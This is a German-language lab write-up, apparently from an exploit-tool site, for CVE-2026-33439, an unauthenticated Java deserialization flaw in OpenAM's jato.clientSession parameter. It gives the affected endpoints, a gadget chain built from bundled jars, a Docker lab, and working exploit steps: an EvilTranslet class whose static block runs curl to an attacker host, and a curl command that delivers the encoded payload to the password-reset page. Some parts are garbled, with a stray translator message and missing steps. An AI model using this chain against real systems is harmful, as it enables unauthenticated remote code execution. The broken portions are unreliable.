Der ungepatchte Codepfad für jato.clientSession (verwundbar):```java
// ClientSession.java
protected ClientSession(RequestContext context) {
	this.encodedSessionString =
		context.getRequest().getParameter("jato.clientSession");
}

protected void deserializeAttributes() {
	if (this.encodedSessionString != null
		&& this.encodedSessionString.trim().length() > 0) {
		this.setAttributes(
			(Map) Encoder.deserialize(
				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
				Encoder.decodeHttp64(this.encodedSessionString), false)
		);
	}
}

---

<div id="vulnerability_affected"/>

### ***Betroffene Versionen***

| Produkt                     | Verwundbar                                       | Behoben |
|-----------------------------|-------------------------------------------------|---------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6  |
| ForgeRock AM (Downstream)   | Möglicherweise betroffen, abhängig von der Patch-Historie | -       |

---

<div id="vulnerability_attacksurface"/>

### ***Angriffsfläche***

Jeder JATO-ViewBean-Endpunkt, dessen JSP ein *< jato:form >*-Tag enthält, ist ohne Authentifizierung ausnutzbar:

| Endpunkt                   | Zweck                                      |
|----------------------------|--------------------------------------------|
| /ui/PWResetUserValidation | Passwort-Reset – Eingabe der Benutzeridentität |
| /ui/PWResetQuestion       | Passwort-Reset – Sicherheitsfragen          |

Passwort-Reset-Endpunkte sind das primäre Ziel; sie sind von Natur aus öffentlich erreichbar und rendern garantiert *< jato:form >*-Tags.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ Die Gadget-Chain***

<div id="gadgetchain_deserialization101"/>

### ***Java-Deserialisierung 101***

Wenn Java ein Objekt aus einem Bytestrom deserialisiert, ruft es readObject() für jede Klasse auf, die es rekonstruiert, einschließlich verschachtelter Objekte. Wenn ein Angreifer den Bytestrom kontrolliert und ein Objekt injiziert, dessen readObject() eine Kette von Methodenaufrufen auslöst, die in der Codeausführung endet, erhält er eine Gadget-Chain-RCE.

Der entscheidende Punkt von CVE-2026-33439: Die Gadget-Chain benötigt keine externen Bibliotheken. Jede Klasse in der Kette ist direkt in der OpenAM-WAR-Datei gebündelt – `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>Dadurch ist die Schwachstelle auf jeder Standard-OpenAM-Bereitstellung ausnutzbar.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Das ist das entscheidende Detail, das den Exploit ermöglicht. Die `Encoder`-Klasse in `jato-shaded-16.0.5.jar` verwendet Javas URL-sicheren Base64-Encoder/-Decoder – nicht Standard-Base64 und kein benutzerdefiniertes Zeichensubstitutionsschema.

Verifiziert durch Dekompilieren von Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

URL-sicheres Base64 verwendet '-' anstelle von '+' und '_' anstelle von '/', ohne Padding '='. Die korrekte Kodierung ist:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

| Container               | Image                                    | Rolle                |
|-------------------------|------------------------------------------|----------------------|
| cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Verwundbares Ziel    |
| cve_2026_33439_attacker | debian:bookworm-slim                     | Angriffsmaschine     |

> Das Labor verwendet das offizielle OpenAM 16.0.5 WAR, das auf Tomcat 10.1.52 mit Java 21 bereitgestellt wird – exakt die Umgebung, die im GitHub Security Advisory beschrieben ist.

---

<div id="lab_setup"/>

### ***Einrichtung***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
</p>

**Schritt 1 – Laden Sie das offizielle OpenAM 16.0.5 WAR herunter**```powershell
# From PowerShell on the host
cd "01 Vulnerable"

Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"

**Schritt 3 - OpenAM über den Browser konfigurieren**

Navigieren Sie zu "http://localhost:8080/openam", klicken Sie auf "Create Default Configuration" und legen Sie Folgendes fest:

| Feld                           | Wert          |
|---------------------------------|---------------|
| Standard-Benutzerpasswort (amadmin) | Lab@dm1n2026! |
| Agent-Passwort                  | secret12      |

Warten Sie ~2 Minuten, bis die Konfiguration abgeschlossen ist.

**Schritt 4 - Bestätigen, dass Passwort-Reset aktiviert ist**

Melden Sie sich als amadmin an → Konfigurieren → Globale Dienste → Passwort-Reset → aktivieren Sie den Schalter → Änderungen speichern.

**Schritt 5 - Die ausnutzbaren JSP-Endpunkte identifizieren**

Suchen Sie in der WAR-Datei alle JSPs, die *< jato:form >*-Tags enthalten. Diese sind die Endpunkte, an denen die jato.clientSession-Deserialisierung ausgelöst wird:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

Kein Inhalt zum Übersetzen vorhanden – der Eingabetext (nach `INPUT:`) ist leer. Bitte stelle den Chunk-Inhalt bereit.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

<div id="lab_access"/>

### ***Zugriff***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---



<div id="exploitation"/>

## ***💣 Ausnutzung***

<div id="exploitation_prerequisites"/>

### ***Voraussetzungen***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Anforderung            | Hinweise                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Muss mit der JVM-Version übereinstimmen, unter der OpenAM läuft. JRE allein reicht nicht aus, javac wird benötigt, um EvilTranslet und PayloadBuilder zu kompilieren |
| openam-core-16.0.5.jar | Kopiert aus dem OpenAM-Container - enthält Column, Column$ColumnComparator, PropertyUtils                                           |
| xalan-2.7.3.jar        | Kopiert aus dem OpenAM-Container - enthält TemplatesImpl, TransformerFactoryImpl                                                    |
| serializer-2.7.3.jar   | Kopiert aus dem OpenAM-Container - enthält SerializationHandler, der von EvilTranslet verwendet wird                                                |
| click-nodeps-2.3.0.jar | Kopiert aus dem OpenAM-Container - enthält Table (erforderlich für Column$ColumnComparator)                                              |
| click-extras-2.3.0.jar | Kopiert aus dem OpenAM-Container - transitive Abhängigkeit von click-nodeps                                                             |
| jato-shaded-16.0.5.jar | Kopiert aus dem OpenAM-Container - enthält Encoder mit decodeHttp64                                                                |
| servlet-api.jar        | Kopiert aus Tomcat lib/ - Jakarta Servlet API, die für die Serialisierung von Table erforderlich ist                                                |
| Python 3.8+            | Für das PoC-Skript                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***Entdeckung & Aufklärung***

**Schritt 1 - Bestätigen, dass OpenAM läuft, und Version identifizieren**```
http://localhost:8080/openam/ccversion/Version

**Schritt 3 - Bestätigen, dass jato.clientSession verarbeitet wird**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

Terminal 2 - Callback-Payload generieren und senden:```
docker exec -it cve_2026_33439_attacker bash

cat > /work/EvilTranslet.java << 'EOF'
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xalan.xsltc.DOM;

public class EvilTranslet extends AbstractTranslet {
	static {
		try {
			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
		} catch (Exception ignored) {}
	}
	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}
EOF

CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

javac -cp $CP /work/EvilTranslet.java

java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64

PAYLOAD=$(cat /work/payload_http.b64)

curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."